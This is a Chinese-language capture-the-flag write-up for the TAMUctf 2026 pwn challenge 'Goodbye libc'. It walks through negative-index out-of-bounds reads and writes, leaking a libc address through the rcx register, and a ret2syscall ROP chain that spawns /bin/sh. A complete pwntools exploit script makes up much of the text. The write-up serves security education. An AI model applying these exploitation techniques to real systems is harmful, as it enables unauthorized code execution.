Goodbye libc
这题限制了libc,libc里面只有自定义的strlen、exit、write、read
char* long_to_str(unsigned long num) {
// Needs to be static so string is accessible after function return
static char str[64];
int i = 0;
int len = 0;
// If number = 0
if (num == 0) {
str[0] = '0';
str[1] = '\0';
return str;
}
char tmp[64];
while (num > 0) {
tmp[i++] = '0' + (num % 10);
num /= 10;
}
while (i > 0) {
str[len++] = tmp[--i];
}
str[len] = '\0';
return str;
}
这个函数就是把输入的内容改成十进制字符串输出
int input_index() {
char input[16];
read(STDIN, input, 16);
int choice = 0;
// Add all digits in input
for (int i = 0; i < 16; ++i) {
if (input[i] >= '0' && input[i] <= '9') {
// Increase digit and add next digit
choice = 10*choice + (input[i]-'0');
}
else {
break;
}
}
if (choice <= 3 && choice >= -2) {
return choice-1;
}
else {
print("Invalid index!\n\n");
return -1;
}
}
这里我们实际上可以返回-3到2(由于这里的choice = 10*choice + (input[i]-'0');,我们发送负数要利用int正溢出来)
case WRITE_NUM:
print("Select index to write to [1-3]: ");
index = input_index();
write_num(&nums[index]);
break;
case PRINT_NUM:
print("Select index to read from [1-3]: ");
index = input_index();
if (index == -1) continue;
print("\nValue written: ");
print(long_to_str(nums[index]));
break;
这里我们可以看到,我们可以利用负索引越界nums[-3]和nums[-2]和nums[-1],write_num函数能让我们写这两个位置,print_num函数能泄露这两个位置
我们首先看这两个位置存了什么,从ida中可以看到nums存在rbp - 0x38,也可以直接看mov rax, [rbp+rax*8+var_38]时显示的地址,然后我们可以在gdb中找到并查看
这里我们在print_num函数的s_6 = long_to_str(v39[v41]);地方下断点看
我们可以看到num[-3]位置是栈地址,num[-2]是pie地址,那我们就能直接通过print_num函数泄露这两个地址了
然后我们可以向是否可以通过num[]越界覆盖某个函数的返回地址考虑
这里我们在菜单选项一里的write_num(&v39[v41]);处下断点,在进入write_num前求出num[]的位置,然后si进入write_num函数里,我们可以发现num[-2]能覆盖write_num的返回地址
然后我们泄露libc
这里用到一个特性:在 64 位 Linux 中,所有的系统调用(如 read, write)最终都要通过 syscall 这条汇编指令进入内核。为了追求极限的性能,syscall 指令并没有像传统的 call 指令那样把返回地址压入栈中,而是直接操作寄存器:当 CPU 执行 syscall 时,它会瞬间把当前指令的下一条地址(也就是返回地址,这是一个libc地址)存入 rcx 寄存器,但是在调用结束后并不会特意清空。
我们可以断在write_num的调用write的下一条指令处,即mov eax, 0看看rcx是不是libc地址
mov rsi, rax ; buf
mov edi, 1 ; fd
call _write
mov eax, 0
call input_num
我们可以看到确实是libc地址,而且由于write_num后续的汇编没有修改rcx的指令,那我们只要利用num[-2]把write_num的返回地址覆盖成一个能打印rcx的地方就能泄露出libc地址
这里寻找的话是看菜单各个有打印功能的函数的汇编来寻找
我们可以看到菜单2的add两个num的函数的汇编
mov eax, [rbp+var_1C]
cdqe
mov rcx, [rbp+rax*8+var_38]
mov eax, [rbp+var_18]
cdqe
mov rax, [rbp+rax*8+var_38]
lea rdx, __ ; " + "
mov rsi, rcx ; _QWORD
mov rdi, rax ; _QWORD
call print_expression
lea rax, s_
mov rdi, rax ; s
call _strlen
mov edx, eax ; n
lea rax, s_
mov rsi, rax ; buf
mov edi, 1 ; fd
call _write
这个函数一共接收两个num,第二个num是通过rcx传递的,那只要我们覆盖write_num的返回地址为lea rdx, __ ; " + "这个位置,我们就能利用call print_expression打印出libc地址了
但是这题的libc是只有最基础的四个函数的:
// Custom strlen
int strlen(char* str) {
int i = 0;
while (str[i]) i++;
return i;
}
// Exit syscall
int __attribute__((naked)) exit(int) {
asm ("push rbp\n\t"
"mov rbp, rsp\n\t"
"mov rax, 60\n\t"
"syscall\n\t"
"pop rbp\n\t"
"push rdx\n\t"
"push rsi\n\t"
"push rdi\n\t"
"pop rdi\n\t"
"pop rsi\n\t"
"pop rdx\n\t"
"ret\n\t"
);
}
// Write syscall
int __attribute__((naked)) write(int, char*, int) {
asm ("push rbp\n\t"
"mov rbp, rsp\n\t"
"mov rax, 0x1\n\t"
"syscall\n\t"
"pop rbp\n\t"
"ret\n\t"
);
}
// Read syscall
int __attribute__((naked)) read(int, char*, int) {
asm ("push rbp\n\t"
"mov rbp, rsp\n\t"
"mov rax, 0x0\n\t"
"syscall\n\t"
"pop rbp\n\t"
"ret\n\t"
);
}
有了libc后我们就开始构造rop链了,这里最简单的想法就是还是利用num[-2]能覆盖返回地址,然后我们能写入num[-2]到num[2],也就是我们只能构造一个5条指令的rop链
这里libc里没有system,那我们只能ret2syscall了,这里的困难点就是libc里的gadget没有能控制rax,这里libc里面能用的gadget也就
"pop rdi\n\t"
"pop rsi\n\t"
"pop rdx\n\t"
"ret\n\t"
和
"syscall\n\t"
"pop rbp\n\t"
"ret\n\t"
这里用到一个方法控制rax,就是read系统调用后我们输入的字符长度会被保存在rax里,那只要我们先构造一个read 59字节的rop链,再跳到syscall,这时就成功调用execve("/bin/sh",0,0)
这里我解题时写的栈布局是这样的:
#array[-2] = gadget
#array[-1] = 0
#array[0] = array[3]
#array[1] = 59
#array[2] = syscall
#array[3] = bin/sh
#array[4] = gadget
#array[5] = array[3]
#array[6] = 0
#array[7] = 0
#array[8] = syscall
EXP:
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
target = ''
file_name = './goodbye-libc_patched'
libc_name = './libc.so.6'
elf = ELF(file_name)
context.binary = elf
libc = ELF(libc_name)
gdb_ = 1 if ('gdb' in sys.argv) else 0
switch = 1 if ('remote' in sys.argv) else 0
debug = 0 if ('deoff' in sys.argv) else 1
error = 1 if ('error' in sys.argv) else 0
if debug:
context(log_level='debug')
if error:
context(log_level='error')
bps = [
# 0x1234,
# 'main',
# (0xe3b31, 'libc'),
# ('system', 'libc')
# 0x1cb0
# 0x167a,
# 0x154b
0x1535
]
gdb_cmd = ''
if gdb_ and switch == 0:
gdb_cmd += "set breakpoint pending on\n"
for b in bps:
if isinstance(b, int):
gdb_cmd += f"b *$rebase({hex(b)})\n"
elif isinstance(b, str):
gdb_cmd += f"b {b}\n"
elif isinstance(b, tuple) and len(b) == 2 and b[1] == 'libc':
if 'libc' in locals() and libc:
target = libc.sym[b[0]] if isinstance(b[0], str) else b[0]
gdb_cmd += f'b *($base("libc") + {hex(target)})\n'
else:
log.warning("未加载 Libc,跳过 Libc 断点")
gdb_cmd += "c\n"
if switch:
parts = target.replace(':', ' ').split()
host = parts[-2]
port = int(parts[-1])
p = remote(host, port)
elif gdb_:
p = gdb.debug(file_name, gdbscript=gdb_cmd, aslr=True)
else:
p = process(file_name)
def s(data): return p.send(data)
def sa(delim, data): return p.sendafter(delim, data)
def sl(data): return p.sendline(data)
def sla(delim, data): return p.sendlineafter(delim, data)
def r(numb=4096): return p.recv(numb)
def ru(delim, drop=True):return p.recvuntil(delim, drop)
def rl(bool): return p.recvline(keepends=bool)
def ra(t=None): return p.recvall(timeout=t)
def rn(numb): return p.recvn(numb)
def cl(): return p.close()
def it(): return p.interactive()
def uc64(data): return u64(data.rjust(8, b'\x00'))
def uu64(data): return u64(data.ljust(8, b'\x00'))
def a(f, off=libc): return lg(hex(off), (ret := f.address + off)) or ret
def cb(data): return data if isinstance(data, bytes) else str(data).encode()
def lg(name, data): return log.success(name + ': ' + (hex(data) if isinstance(data, int) else data.decode(errors='ignore') if isinstance(data, bytes) else str(data)))
def menu(idx, pmt=b'>'): return sla(pmt, str(idx).encode())
def bl(address): return (address).to_bytes(3, 'big')
def ntlbc(leak, offset, name='Libc'): return setattr(libc, 'address', leak - (libc.sym[offset] if isinstance(offset, str) else offset)) or lg(name, libc.address)
def ntpie(leak, offset, name='PIE'): return setattr(elf, 'address', leak - (elf.sym[offset] if isinstance(offset, str) else offset)) or lg(name, elf.address)
def fill(num, content=b'A'): return (content.encode() if isinstance(content, str) else content) * num
def se(s, f=None): return lg(s if isinstance(s, str) else f"bytes: {s.hex()}", (addr := next((f or libc).search(s if isinstance(s, bytes) else s.encode())))) or addr
def shn(target, current_printed): return [((target & 0xffff) - current_printed) % 0x10000, current_printed + (((target & 0xffff) - current_printed) % 0x10000)]
def shhn(target, current_printed): return [((target & 0xff) - current_printed) % 0x100, current_printed + (((target & 0xff) - current_printed) % 0x100)]
_rop_cache = {}
def gg(s, f=None):
target = f or libc
if target not in _rop_cache:
_rop_cache[target] = ROP(target)
rop = _rop_cache[target]
instrs = [x.strip() for x in s.split(';')]
gadget = rop.find_gadget(instrs)
if gadget:
addr = gadget.address
lg(s, addr)
return addr
else:
raise ValueError(f"[-] Critical: Gadget not found: {s}")
def ga(delim=b'|', name='Leak', data=None):
target_data = p.recv(data) if isinstance(data, int) else (data if data else ru(delim))
if isinstance(target_data, str):
target_data = target_data.encode()
hex_list = re.findall(b'0x[0-9a-fA-F]+', target_data)
return [lg(f'{name}[{i}]', x) or x for i, x in enumerate([int(a, 16)for a in hex_list])]
#################################################################################
def menu1(idx):
sla(b"Enter input: ", cb(idx))
def print_num(index):
menu1(6)
sla(b"Select index to read from [1-3]: ", cb(index))
def write_num(index, num):
menu1(1)
sla(b"Select index to write to [1-3]: ", cb(index))
sla(b"Select value to write: ", cb(num))
print_num(-1 & 0xffffffff)
ru(b"Value written: ")
pie_leak = int(ru(b"\n"))
ntpie(pie_leak, 0x1cbd)
print_num(-2 & 0xffffffff)
ru(b"Value written: ")
stack_leak = int(ru(b"\n"))
lg("Stack Leak", stack_leak)
target = elf.address + 0x1710
write_num(-1 & 0xffffffff, target)
ru(b"+ ")
libc_leak = int(ru(b":"))
ntlbc(libc_leak, 0x1065)
gadget = libc.address + 0x103f #pop rdi;pop rsi;pop rdx;ret;
target_array = stack_leak - 0x38
read_syscall = libc.address + 0x105c
lg("Target Array", target_array)
#array[-2] = gadget
#array[-1] = 0
#array[0] = array[3]
#array[1] = 59
#array[2] = syscall
#array[3] = bin/sh
#array[4] = gadget
#array[5] = array[3]
#array[6] = 0
#array[7] = 0
#array[8] = syscall
array_3 = target_array + 0x8 * 3
payload = [0, array_3, 59, read_syscall]
for i,val in enumerate(payload):
write_num(i,val)
write_num(-1 & 0xffffffff, gadget)
syscall = libc.address + 0x1063
payload1 = flat([
"/bin/sh\x00",
gadget,
array_3,
0,
0,
syscall
]).ljust(0x3b,b'\x00')
s(payload1)
it()
题目链接:tamuctf-2026/pwn/goodbye-libc at main · tamuctf/tamuctf-2026